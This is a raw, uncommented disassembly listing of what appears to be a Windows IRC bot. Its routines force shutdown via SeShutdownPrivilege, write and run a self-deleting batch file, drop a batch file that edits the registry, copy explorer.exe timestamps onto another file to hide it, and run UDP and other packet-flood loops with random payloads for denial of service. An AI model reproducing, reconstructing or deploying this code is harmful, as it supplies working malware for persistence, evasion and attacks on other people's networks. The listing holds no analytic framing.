loc_409A29: ; CODE XREF: sub_4099AA+3Cj
push ebx
call sub_415E3D
pop ecx
loc_409A30: ; CODE XREF: sub_4099AA+2Bj
mov eax, esi
pop ebx
jmp short loc_409A37
; ---------------------------------------------------------------------------
loc_409A35: ; CODE XREF: sub_4099AA+Cj
; sub_4099AA+13j ...
xor eax, eax
loc_409A37: ; CODE XREF: sub_4099AA+89j
pop edi
pop esi
pop ebp
retn
sub_4099AA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409A3B proc near ; CODE XREF: sub_40CCDD+E9p
var_7D0 = dword ptr -7D0h
var_7CC = byte ptr -7CCh
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 7D0h
push ebx
push esi
push 7D0h
lea eax, [ebp+var_7D0]
push 0
push eax
call sub_415570
mov esi, [ebp+arg_0]
push esi
call sub_415CF0
add esp, 10h
push 1
pop ebx
cmp eax, ebx
jge short loc_409A71
or eax, 0FFFFFFFFh
jmp short loc_409AE4
; ---------------------------------------------------------------------------
loc_409A71: ; CODE XREF: sub_409A3B+2Fj
xor ecx, ecx
mov [ebp+var_7D0], esi
test eax, eax
jle short loc_409A93
loc_409A7D: ; CODE XREF: sub_409A3B+56j
mov dl, [ecx+esi]
cmp dl, 0Ah
jz short loc_409A8A
cmp dl, 0Dh
jnz short loc_409A8E
loc_409A8A: ; CODE XREF: sub_409A3B+48j
and byte ptr [ecx+esi], 0
loc_409A8E: ; CODE XREF: sub_409A3B+4Dj
inc ecx
cmp ecx, eax
jl short loc_409A7D
loc_409A93: ; CODE XREF: sub_409A3B+40j
xor edx, edx
push edi
test eax, eax
jle short loc_409AC4
lea edi, [ebp+var_7CC]
loc_409AA0: ; CODE XREF: sub_409A3B+87j
cmp byte ptr [edx+esi], 0
jnz short loc_409ABF
cmp byte ptr [edx+esi+1], 0
lea ecx, [edx+esi+1]
jz short loc_409ABF
cmp ebx, 1F4h
jge short loc_409AC4
mov [edi], ecx
inc ebx
add edi, 4
loc_409ABF: ; CODE XREF: sub_409A3B+69j
; sub_409A3B+74j
inc edx
cmp edx, eax
jl short loc_409AA0
loc_409AC4: ; CODE XREF: sub_409A3B+5Dj
; sub_409A3B+7Cj
cmp [ebp+arg_4], 0
pop edi
jz short loc_409AE2
lea eax, [ebp+var_7D0]
push 7D0h
push eax
push [ebp+arg_4]
call sub_4155D0
add esp, 0Ch
loc_409AE2: ; CODE XREF: sub_409A3B+8Ej
mov eax, ebx
loc_409AE4: ; CODE XREF: sub_409A3B+34j
pop esi
pop ebx
leave
retn
sub_409A3B endp
; =============== S U B R O U T I N E =======================================
sub_409AE8 proc near ; CODE XREF: sub_409B42+33p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_4]
push esi
push edi
mov edi, [esp+8+arg_8]
mov ecx, 1F4h
xor esi, esi
rep stosd
lea edi, [eax-1]
test edi, edi
jl short loc_409B21
push ebx
mov ebx, edi
loc_409B05: ; CODE XREF: sub_409AE8+36j
mov eax, [esp+0Ch+arg_0]
mov al, [esi+eax]
push eax
call sub_409B24
pop ecx
inc esi
mov ecx, [esp+0Ch+arg_8]
mov [ecx+eax*4], ebx
dec ebx
cmp esi, edi
jle short loc_409B05
pop ebx
loc_409B21: ; CODE XREF: sub_409AE8+18j
pop edi
pop esi
retn
sub_409AE8 endp
; =============== S U B R O U T I N E =======================================
sub_409B24 proc near ; CODE XREF: sub_409AE8+25p
; sub_409B42+6Bp
arg_0 = byte ptr 4
movsx eax, [esp+arg_0]
push eax
call sub_417193
cmp al, 61h
pop ecx
jl short loc_409B3F
cmp al, 7Ah
jg short loc_409B3F
movsx eax, al
sub eax, 60h
retn
; ---------------------------------------------------------------------------
loc_409B3F: ; CODE XREF: sub_409B24+Ej
; sub_409B24+12j
xor eax, eax
retn
sub_409B24 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409B42 proc near ; CODE XREF: sub_40B24D+10p
; sub_40B27F+A0p
var_100C = dword ptr -100Ch
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 100Ch
call sub_415D70
push ebx
push esi
push edi
push [ebp+arg_0]
call sub_415CF0
push [ebp+arg_4]
mov [ebp+var_4], eax
call sub_415CF0
mov esi, eax
lea eax, [ebp+var_100C]
push eax
push esi
push [ebp+arg_4]
mov [ebp+var_C], esi
call sub_409AE8
add esp, 14h
dec esi
mov edi, esi
loc_409B80: ; CODE XREF: sub_409B42+B6j
test esi, esi
jle short loc_409BFE
mov eax, [ebp+arg_4]
movsx eax, byte ptr [esi+eax]
push eax
call sub_417193
mov ebx, eax
mov eax, [ebp+arg_0]
movsx eax, byte ptr [edi+eax]
push eax
call sub_417193
pop ecx
cmp eax, ebx
pop ecx
jz short loc_409BF6
loc_409BA6: ; CODE XREF: sub_409B42+B2j
mov ebx, [ebp+arg_0]
mov al, [edi+ebx]
push eax
call sub_409B24
mov edx, [ebp+var_C]
mov eax, [ebp+eax*4+var_100C]
pop ecx
mov ecx, edx
sub ecx, esi
cmp ecx, eax
jle short loc_409BC7
mov eax, ecx
loc_409BC7: ; CODE XREF: sub_409B42+81j
add edi, eax
cmp edi, [ebp+var_4]
jge short loc_409BFA
mov eax, [ebp+arg_4]
lea esi, [edx-1]
movsx eax, byte ptr [esi+eax]
push eax
call sub_417193
mov edx, eax
movsx eax, byte ptr [edi+ebx]
push eax
mov [ebp+var_8], edx
call sub_417193
pop ecx
pop ecx
mov ecx, [ebp+var_8]
cmp eax, ecx
jnz short loc_409BA6
loc_409BF6: ; CODE XREF: sub_409B42+62j
dec edi
dec esi
jmp short loc_409B80
; ---------------------------------------------------------------------------
loc_409BFA: ; CODE XREF: sub_409B42+8Aj
xor eax, eax
jmp short loc_409C03
; ---------------------------------------------------------------------------
loc_409BFE: ; CODE XREF: sub_409B42+40j
mov eax, [ebp+arg_0]
add eax, edi
loc_409C03: ; CODE XREF: sub_409B42+BAj
pop edi
pop esi
pop ebx
leave
retn
sub_409B42 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409C08 proc near ; CODE XREF: sub_40CE55+3B4Ep
; sub_40CE55+4755p
var_100 = byte ptr -100h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 100h
push esi
call dword_421088 ; RtlGetLastWin32Error
mov esi, eax
push 0
lea eax, [ebp+var_100]
push 100h
push eax
push 400h
push esi
push 0
push 1200h
call dword_4210CC ; FormatMessageA
lea eax, [ebp+var_100]
loc_409C41: ; CODE XREF: sub_409C08+46j
mov cl, [eax]
cmp cl, 1Fh
jg short loc_409C4D
cmp cl, 9
jnz short loc_409C50
loc_409C4D: ; CODE XREF: sub_409C08+3Ej
inc eax
jmp short loc_409C41
; ---------------------------------------------------------------------------
loc_409C50: ; CODE XREF: sub_409C08+43j
; sub_409C08+5Bj ...
and byte ptr [eax], 0
dec eax
lea ecx, [ebp+var_100]
cmp eax, ecx
jb short loc_409C6A
mov cl, [eax]
cmp cl, 2Eh
jz short loc_409C50
cmp cl, 21h
jl short loc_409C50
loc_409C6A: ; CODE XREF: sub_409C08+54j
lea eax, [ebp+var_100]
push esi
push eax
mov esi, offset dword_43A4C8
push [ebp+arg_0]
push offset aSErrorSD_ ; "%s Error: %s <%d>."
push 200h
push esi
call sub_415A6A
add esp, 18h
mov eax, esi
pop esi
leave
retn
sub_409C08 endp
; =============== S U B R O U T I N E =======================================
sub_409C92 proc near ; CODE XREF: sub_40CE55+5185p
push esi
push 0
call dword_43A368
test eax, eax
jz short loc_409CC9
push 1
call dword_43A388
mov esi, eax
test esi, esi
jz short loc_409CC9
push edi
push esi
call dword_4210D4 ; GlobalLock
push esi
mov edi, eax
call dword_4210D0 ; GlobalUnlock
call dword_43A3EC
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_409CC9: ; CODE XREF: sub_409C92+Bj
; sub_409C92+19j
xor eax, eax
pop esi
retn
sub_409C92 endp
; =============== S U B R O U T I N E =======================================
sub_409CCD proc near ; CODE XREF: sub_40CE55+4545p
arg_0 = dword ptr 4
push ebp
push esi
push edi
xor esi, esi
mov edi, offset aMirc ; "mIRC"
push esi
push edi
call dword_43A3A4
mov ebp, eax
cmp ebp, esi
jz short loc_409D49
push ebx
push edi
push 1000h
push esi
push 4
push esi
push 0FFFFFFFFh
call dword_4210E0 ; CreateFileMappingA
push esi
push esi
mov edi, eax
push esi
push 0F001Fh
push edi
call dword_4210DC ; MapViewOfFile
push [esp+10h+arg_0]
mov ebx, eax
push ebx
call sub_4154E7
pop ecx
pop ecx
push esi
push 1
push 4C8h
push ebp
call dword_43A3F4
push esi
push 1
push 4C9h
push ebp
call dword_43A3F4
push ebx
call dword_4210D8 ; UnmapViewOfFile
push edi
call dword_42106C ; CloseHandle
push 1
pop eax
pop ebx
jmp short loc_409D4B
; ---------------------------------------------------------------------------
loc_409D49: ; CODE XREF: sub_409CCD+16j
xor eax, eax
loc_409D4B: ; CODE XREF: sub_409CCD+7Aj
pop edi
pop esi
pop ebp
retn
sub_409CCD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409D4F proc near ; CODE XREF: sub_40C682+21Cp
var_11C = byte ptr -11Ch
var_18 = byte ptr -18h
var_10 = byte ptr -10h
var_8 = byte ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 11Ch
push ebx
push esi
xor esi, esi
push edi
lea eax, [ebp+var_11C]
push esi
push eax
push 104h
push esi
push offset aExplorer_exe ; "explorer.exe"
push esi
call dword_43A454
test eax, eax
jz short loc_409DEE
mov edi, 80h
push esi
push edi
push 3
push esi
mov esi, dword_421078
push 1
lea eax, [ebp+var_11C]
push 80000000h
push eax
call esi ; CreateFileA
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_409DEE
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_10]
push eax
push ebx
call dword_4210E8 ; GetFileTime
push ebx
mov ebx, dword_42106C
call ebx ; CloseHandle
push 0
push edi
push 3
push 0
push 2
push 40000000h
push [ebp+arg_0]
call esi ; CreateFileA
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_409DEE
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_10]
push eax
push esi
call dword_4210E4 ; SetFileTime
push esi
call ebx ; CloseHandle
loc_409DEE: ; CODE XREF: sub_409D4F+2Aj
; sub_409D4F+51j ...
pop edi
pop esi
pop ebx
leave
retn
sub_409D4F endp
; =============== S U B R O U T I N E =======================================
sub_409DF3 proc near ; CODE XREF: sub_40CE55+13B6p
push 1
push offset aSeshutdownpriv ; "SeShutdownPrivilege"
call sub_413D67
pop ecx
pop ecx
push 50005h
push 6
call dword_43A2E0
neg eax
sbb eax, eax
neg eax
retn
sub_409DF3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409E15 proc near ; CODE XREF: sub_40BCEF+472p
; sub_40CE55+5405p
var_764 = byte ptr -764h
var_364 = byte ptr -364h
var_260 = byte ptr -260h
var_15C = byte ptr -15Ch
var_58 = dword ptr -58h
var_4C = dword ptr -4Ch
var_2C = dword ptr -2Ch
var_28 = word ptr -28h
var_14 = byte ptr -14h
var_4 = byte ptr -4
push ebp
mov ebp, esp
sub esp, 764h
push esi
xor esi, esi
cmp dword_42C198, esi
push edi
jz short loc_409E39
cmp dword_43A468, esi
jnz short loc_409E39
push esi
call sub_40B3AE
pop ecx
loc_409E39: ; CODE XREF: sub_409E15+13j
; sub_409E15+1Bj
call sub_41515C
lea eax, [ebp+var_764]
push eax
push 400h
call dword_4210F8 ; GetTempPathA
lea eax, [ebp+var_764]
push eax
lea eax, [ebp+var_260]
push offset aSdel_bat ; "%sdel.bat"
push eax
call sub_4154E7
add esp, 0Ch
lea eax, [ebp+var_260]
push esi
push esi
push 2
push esi
push esi
push 40000000h
push eax
call dword_421078 ; CreateFileA
mov edi, eax
cmp edi, esi
jbe loc_409F99
lea eax, [ebp+var_260]
push eax
lea eax, [ebp+var_764]
push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
push eax
call sub_4154E7
add esp, 0Ch
lea eax, [ebp+var_4]
push esi
push eax
lea eax, [ebp+var_764]
push eax
call sub_415CF0
pop ecx
push eax
lea eax, [ebp+var_764]
push eax
push edi
call dword_421070 ; WriteFile
push edi
call dword_42106C ; CloseHandle
push 10h
lea eax, [ebp+var_14]
push esi
push eax
call sub_415570
push 44h
lea eax, [ebp+var_58]
pop edi
push edi
push esi
push eax
call sub_415570
add esp, 18h
mov [ebp+var_58], edi
mov edi, 104h
lea eax, [ebp+var_15C]
push edi
push eax
push esi
mov [ebp+var_4C], offset byte_438FBC
mov [ebp+var_2C], 1
mov [ebp+var_28], si
call dword_4210C8 ; GetModuleHandleA
push eax
call dword_42107C ; GetModuleFileNameA
lea eax, [ebp+var_15C]
push eax
call dword_421094 ; GetFileAttributesA
cmp eax, 0FFFFFFFFh
jz short loc_409F41
lea eax, [ebp+var_15C]
push 80h
push eax
call dword_4210F4 ; SetFileAttributesA
loc_409F41: ; CODE XREF: sub_409E15+118j
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+var_260]
push eax
lea eax, [ebp+var_764]
push offset aComspecCSS ; "%%comspec%% /c %s %s"
push eax
call sub_4154E7
add esp, 10h
lea eax, [ebp+var_364]
push edi
push eax
lea eax, [ebp+var_764]
push eax
call dword_4210F0 ; ExpandEnvironmentStringsA
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_58]
push eax
push esi
push esi
push 4008h
push 1
push esi
lea eax, [ebp+var_364]
push esi
push eax
push esi
call dword_4210EC ; CreateProcessA
loc_409F99: ; CODE XREF: sub_409E15+72j
pop edi
pop esi
leave
retn
sub_409E15 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409F9D proc near ; CODE XREF: sub_40C682+31p
var_1860 = byte ptr -1860h
var_158 = byte ptr -158h
var_58 = byte ptr -58h
var_48 = dword ptr -48h
var_1C = dword ptr -1Ch
var_18 = word ptr -18h
var_4 = byte ptr -4
push ebp
mov ebp, esp
mov eax, 1860h
call sub_415D70
push esi
push edi
mov ecx, 5C1h
mov esi, offset a@echoOffEchoRe ; "@echo off\r\nEcho REGEDIT4>%temp%\\1.reg\r\n"...
lea edi, [ebp+var_1860]
lea eax, [ebp+var_158]
rep movsd
movsw
push offset aCA1c_bat ; "c:\\a1c.bat"
push eax
movsb
call sub_4154E7
pop ecx
xor esi, esi
pop ecx
lea eax, [ebp+var_158]
push esi
push esi
push 2
push esi
push esi
push 40000000h
push eax
call dword_421078 ; CreateFileA
mov edi, eax
cmp edi, esi
jbe short loc_40A057
lea eax, [ebp+var_4]
push esi
push eax
lea eax, [ebp+var_1860]
push eax
call sub_415CF0
pop ecx
push eax
lea eax, [ebp+var_1860]
push eax
push edi
call dword_421070 ; WriteFile
push edi
call dword_42106C ; CloseHandle
push 44h
lea eax, [ebp+var_48]
pop edi
push edi
push esi
push eax
call sub_415570
add esp, 0Ch
lea ecx, [ebp+var_58]
mov [ebp+var_48], edi
mov [ebp+var_18], si
push 1
pop eax
push ecx
lea ecx, [ebp+var_48]
push ecx
push esi
push esi
push 28h
mov [ebp+var_1C], eax
push eax
push esi
lea eax, [ebp+var_158]
push esi
push eax
push esi
call dword_4210EC ; CreateProcessA
loc_40A057: ; CODE XREF: sub_409F9D+55j
pop edi
pop esi
leave
retn
sub_409F9D endp
; =============== S U B R O U T I N E =======================================
sub_40A05B proc near ; CODE XREF: sub_4013E9+7p
; sub_401B7C+7p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call dword_43A3D8
cmp eax, 0FFFFFFFFh
jnz short locret_40A083
push [esp+arg_0]
call dword_43A41C
test eax, eax
jnz short loc_40A07C
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_40A07C: ; CODE XREF: sub_40A05B+1Bj
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
locret_40A083: ; CODE XREF: sub_40A05B+Dj
retn
sub_40A05B endp
; =============== S U B R O U T I N E =======================================
sub_40A084 proc near ; CODE XREF: sub_40CB75+D6p
mov ecx, dword_43A2C0
xor eax, eax
test ecx, ecx
jz short locret_40A092
call ecx
locret_40A092: ; CODE XREF: sub_40A084+Aj
retn
sub_40A084 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A093 proc near ; CODE XREF: sub_40CE55:loc_411F8Cp
var_88 = byte ptr -88h
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 88h
push ebx
push esi
push edi
push 1
pop ebx
lea eax, [ebp+var_8]
xor edi, edi
push ebx
push eax
push edi
xor esi, esi
mov [ebp+var_8], edi
mov [ebp+var_4], ebx
call dword_43A414
mov ecx, eax
sub ecx, edi
jz loc_40A159
sub ecx, 32h
jz loc_40A152
sub ecx, 48h
jz short loc_40A0F3
sub ecx, 6Eh
jz short loc_40A0EC
loc_40A0D5: ; CODE XREF: sub_40A093+8Bj
push eax
lea eax, [ebp+var_88]
push offset unk_42B428
push eax
call sub_4154E7
add esp, 0Ch
jmp short loc_40A133
; ---------------------------------------------------------------------------
loc_40A0EC: ; CODE XREF: sub_40A093+40j
push offset unk_42B3F0
jmp short loc_40A125
; ---------------------------------------------------------------------------
loc_40A0F3: ; CODE XREF: sub_40A093+3Bj
push [ebp+var_8]
call sub_415DC9
push [ebp+var_8]
mov esi, eax
push edi
push esi
call sub_415570
add esp, 10h
cmp esi, edi
jz short loc_40A120
lea eax, [ebp+var_8]
push ebx
push eax
push esi
call dword_43A414
cmp eax, edi
jz short loc_40A159
jmp short loc_40A0D5
; ---------------------------------------------------------------------------
loc_40A120: ; CODE XREF: sub_40A093+79j
push offset unk_42B3AC
loc_40A125: ; CODE XREF: sub_40A093+5Ej
; sub_40A093+C4j
lea eax, [ebp+var_88]
push eax
call sub_4154E7
pop ecx
pop ecx
loc_40A133: ; CODE XREF: sub_40A093+57j
lea eax, [ebp+var_88]
mov [ebp+var_4], edi
push eax
call sub_40B16D
pop ecx
loc_40A143: ; CODE XREF: sub_40A093+C8j
; sub_40A093+DCj
push esi
call sub_415E3D
mov eax, [ebp+var_4]
pop ecx
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_40A152: ; CODE XREF: sub_40A093+32j
push offset unk_42B368
jmp short loc_40A125
; ---------------------------------------------------------------------------
loc_40A159: ; CODE XREF: sub_40A093+29j
; sub_40A093+89j
cmp [esi], edi
jbe short loc_40A143
lea ebx, [esi+4]
loc_40A160: ; CODE XREF: sub_40A093+DAj
push ebx
call dword_43A410
inc edi
add ebx, 18h
cmp edi, [esi]
jb short loc_40A160
jmp short loc_40A143
sub_40A093 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A171 proc near ; CODE XREF: sub_401447+243p
; sub_401BD6+268p ...
var_14 = byte ptr -14h
var_10 = byte ptr -10h
var_F = byte ptr -0Fh
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
push esi
push 10h
pop eax
mov [ebp+var_4], eax
push eax
lea eax, [ebp+var_14]
push 0
push eax
call sub_415570
add esp, 0Ch
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
call dword_43A33C
movzx eax, [ebp+var_D]
push eax
mov esi, offset dword_43A6CC
movzx eax, [ebp+var_E]
push eax
movzx eax, [ebp+var_F]
push eax
movzx eax, [ebp+var_10]
push eax
push offset aD_D_D_D ; "%d.%d.%d.%d"
push esi
call sub_4154E7
add esp, 18h
mov eax, esi
pop esi
leave
retn
sub_40A171 endp
; =============== S U B R O U T I N E =======================================
sub_40A1CA proc near ; CODE XREF: sub_4010B2+24Cp
; sub_4010B2+292p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_4]
xor eax, eax
cmp esi, 1
jle short loc_40A1F3
mov ecx, esi
push edi
shr ecx, 1
mov edx, ecx
neg edx
lea esi, [esi+edx*2]
mov edx, [esp+8+arg_0]
loc_40A1E6: ; CODE XREF: sub_40A1CA+24j
movzx edi, word ptr [edx]
add eax, edi
inc edx
inc edx
dec ecx
jnz short loc_40A1E6
pop edi
jmp short loc_40A1F7
; ---------------------------------------------------------------------------
loc_40A1F3: ; CODE XREF: sub_40A1CA+Aj
mov edx, [esp+4+arg_0]
loc_40A1F7: ; CODE XREF: sub_40A1CA+27j
test esi, esi
pop esi
jz short loc_40A201
movzx ecx, byte ptr [edx]
add eax, ecx
loc_40A201: ; CODE XREF: sub_40A1CA+30j
mov ecx, eax
and eax, 0FFFFh
shr ecx, 10h
add ecx, eax
mov eax, ecx
shr eax, 10h
add eax, ecx
not eax
retn
sub_40A1CA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A217 proc near ; DATA XREF: sub_40CE55+2D34o
var_10320 = byte ptr -10320h
var_344 = byte ptr -344h
var_144 = dword ptr -144h
var_140 = byte ptr -140h
var_C0 = byte ptr -0C0h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = byte ptr -20h
var_18 = dword ptr -18h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 10320h
call sub_415D70
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 49h
mov esi, eax
pop ecx
lea edi, [ebp+var_144]
rep movsd
push 1
pop edi
mov [eax+120h], edi
call dword_43A324
mov [ebp+arg_0], eax
lea eax, [ebp+var_C0]
push eax
call dword_43A3D8
mov esi, eax
xor ebx, ebx
xor eax, eax
cmp esi, 0FFFFFFFFh
jnz short loc_40A272
lea eax, [ebp+var_C0]
push eax
call dword_43A41C
cmp eax, ebx
jz short loc_40A278
loc_40A272: ; CODE XREF: sub_40A217+48j
cmp [ebp+arg_0], 0FFFFFFFFh
jnz short loc_40A2D5
loc_40A278: ; CODE XREF: sub_40A217+59j
lea eax, [ebp+var_C0]
push eax
lea eax, [ebp+var_344]
push offset unk_42B4AC
push eax
call sub_4154E7
add esp, 0Ch
cmp [ebp+var_28], ebx
jnz short loc_40A2B8
push ebx
lea eax, [ebp+var_344]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_140]
push eax
push [ebp+var_144]
call sub_412D4C
add esp, 14h
loc_40A2B8: ; CODE XREF: sub_40A217+7Fj
lea eax, [ebp+var_344]
push eax
call sub_40B16D
push [ebp+var_30]
call sub_4152AF
pop ecx
pop ecx
push edi
call dword_421048 ; ExitThread
loc_40A2D5: ; CODE XREF: sub_40A217+5Fj
cmp eax, ebx
jz short loc_40A2E5
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_4], eax
jmp short loc_40A2E8
; ---------------------------------------------------------------------------
loc_40A2E5: ; CODE XREF: sub_40A217+C0j
mov [ebp+var_4], esi
loc_40A2E8: ; CODE XREF: sub_40A217+CCj
push 1Ch
lea eax, [ebp+var_20]
push ebx
push eax
call sub_415570
or [ebp+var_18], 0FFFFFFFFh
mov eax, 0FFDCh
add esp, 0Ch
cmp [ebp+var_3C], eax
jle short loc_40A308
mov [ebp+var_3C], eax
loc_40A308: ; CODE XREF: sub_40A217+ECj
cmp [ebp+var_38], edi
jge short loc_40A310
mov [ebp+var_38], edi
loc_40A310: ; CODE XREF: sub_40A217+F4j
xor esi, esi
cmp [ebp+var_40], ebx
jle short loc_40A33D
loc_40A317: ; CODE XREF: sub_40A217+124j
push [ebp+var_38]
lea eax, [ebp+var_20]
push 1Ch
push eax
push ebx
lea eax, [ebp+var_10320]
push [ebp+var_3C]
push eax
push [ebp+var_4]
push [ebp+arg_0]
call dword_43A2BC
inc esi
cmp esi, [ebp+var_40]
jl short loc_40A317
loc_40A33D: ; CODE XREF: sub_40A217+FEj
push [ebp+arg_0]
call dword_43A450
lea eax, [ebp+var_C0]
push eax
lea eax, [ebp+var_344]
push offset unk_42B46C
push eax
call sub_4154E7
add esp, 0Ch
cmp [ebp+var_28], ebx
jnz short loc_40A386
push ebx
lea eax, [ebp+var_344]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_140]
push eax
push [ebp+var_144]
call sub_412D4C
add esp, 14h
loc_40A386: ; CODE XREF: sub_40A217+14Dj
lea eax, [ebp+var_344]
push eax
call sub_40B16D
push [ebp+var_30]
call sub_4152AF
pop ecx
pop ecx
push ebx
call dword_421048 ; ExitThread
sub_40A217 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A3A3 proc near ; DATA XREF: sub_40CE55+2E7Bo
var_10312 = byte ptr -10312h
var_10310 = byte ptr -10310h
var_334 = byte ptr -334h
var_134 = dword ptr -134h
var_130 = byte ptr -130h
var_B0 = byte ptr -0B0h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 10310h
call sub_415D70
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 49h
mov esi, eax
pop ecx
lea edi, [ebp+var_134]
rep movsd
push 1
pop esi
mov [eax+120h], esi
call dword_42104C ; GetTickCount
push eax
call sub_415539
pop ecx
push 11h
push 2
push 2
call dword_43A418
mov ebx, eax
xor edi, edi
push 10h
lea eax, [ebp+var_10]
push edi
push eax
call sub_415570
add esp, 0Ch
lea eax, [ebp+var_B0]
mov [ebp+var_10], 2
push eax
call dword_43A3D8
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jnz short loc_40A488
lea eax, [ebp+var_B0]
push eax
call dword_43A41C
cmp eax, edi
jnz short loc_40A481
lea eax, [ebp+var_B0]
push eax
lea eax, [ebp+var_334]
push offset dword_42B528
push eax
call sub_4154E7
add esp, 0Ch
cmp [ebp+var_18], edi
jnz short loc_40A464
push edi
lea eax, [ebp+var_334]
push [ebp+var_1C]
push eax
lea eax, [ebp+var_130]
push eax
push [ebp+var_134]
call sub_412D4C
add esp, 14h
loc_40A464: ; CODE XREF: sub_40A3A3+9Fj
lea eax, [ebp+var_334]
push eax
call sub_40B16D
push [ebp+var_20]
call sub_4152AF
pop ecx
pop ecx
push esi
call dword_421048 ; ExitThread
loc_40A481: ; CODE XREF: sub_40A3A3+7Fj
mov eax, [eax+0Ch]
mov eax, [eax]
jmp short loc_40A48B
; ---------------------------------------------------------------------------
loc_40A488: ; CODE XREF: sub_40A3A3+6Ej
lea eax, [ebp+arg_0]
loc_40A48B: ; CODE XREF: sub_40A3A3+E3j
mov eax, [eax]
cmp [ebp+var_24], edi
mov [ebp+var_C], eax
jnz short loc_40A4A6
call sub_415543
cdq
mov ecx, 0FFDCh
idiv ecx
inc edx
push edx
jmp short loc_40A4A9
; ---------------------------------------------------------------------------
loc_40A4A6: ; CODE XREF: sub_40A3A3+F0j
push [ebp+var_24]
loc_40A4A9: ; CODE XREF: sub_40A3A3+101j
call dword_43A398
cmp [ebp+var_24], esi
mov [ebp+var_E], ax
jge short loc_40A4BB
mov [ebp+var_24], esi
loc_40A4BB: ; CODE XREF: sub_40A3A3+113j
mov eax, 0FFFFh
cmp [ebp+var_24], eax
jle short loc_40A4C8
mov [ebp+var_24], eax
loc_40A4C8: ; CODE XREF: sub_40A3A3+120j
mov eax, [ebp+var_30]
push 0Ah
cdq
pop ecx
idiv ecx
cmp [ebp+var_28], edi
mov [ebp+var_30], eax
jnz short loc_40A4DC
mov [ebp+var_28], esi
loc_40A4DC: ; CODE XREF: sub_40A3A3+134j
xor esi, esi
cmp [ebp+var_2C], edi
jle short loc_40A4FD
loc_40A4E3: ; CODE XREF: sub_40A3A3+158j
call sub_415543
cdq
mov ecx, 0FFh
idiv ecx
inc esi
cmp esi, [ebp+var_2C]
mov [ebp+esi-10311h], dl
jl short loc_40A4E3
loc_40A4FD: ; CODE XREF: sub_40A3A3+13Ej
; sub_40A3A3+19Cj ...
mov eax, [ebp+var_30]
dec [ebp+var_30]
test eax, eax
jle short loc_40A55C
push 0Bh
pop esi
loc_40A50A: ; CODE XREF: sub_40A3A3+197j
lea eax, [ebp+var_10]
push 10h
push eax
push edi
call sub_415543
push 0Ah
cdq
pop ecx
idiv ecx
mov eax, [ebp+var_2C]
sub eax, edx
push eax
lea eax, [ebp+var_10310]
push eax
push ebx
call dword_43A3FC
push [ebp+var_28]
call dword_421060 ; Sleep
dec esi
jnz short loc_40A50A
cmp [ebp+var_24], edi
jnz short loc_40A4FD
call sub_415543
cdq
mov ecx, 0FFDCh
idiv ecx
inc edx
push edx
call dword_43A398
mov [ebp+var_E], ax
jmp short loc_40A4FD
; ---------------------------------------------------------------------------
loc_40A55C: ; CODE XREF: sub_40A3A3+162j
lea eax, [ebp+var_B0]
push eax
lea eax, [ebp+var_334]
push offset dword_42B4E8
push eax
call sub_4154E7
add esp, 0Ch
cmp [ebp+var_18], edi
jnz short loc_40A59C
push edi
lea eax, [ebp+var_334]
push [ebp+var_1C]
push eax
lea eax, [ebp+var_130]
push eax
push [ebp+var_134]
call sub_412D4C
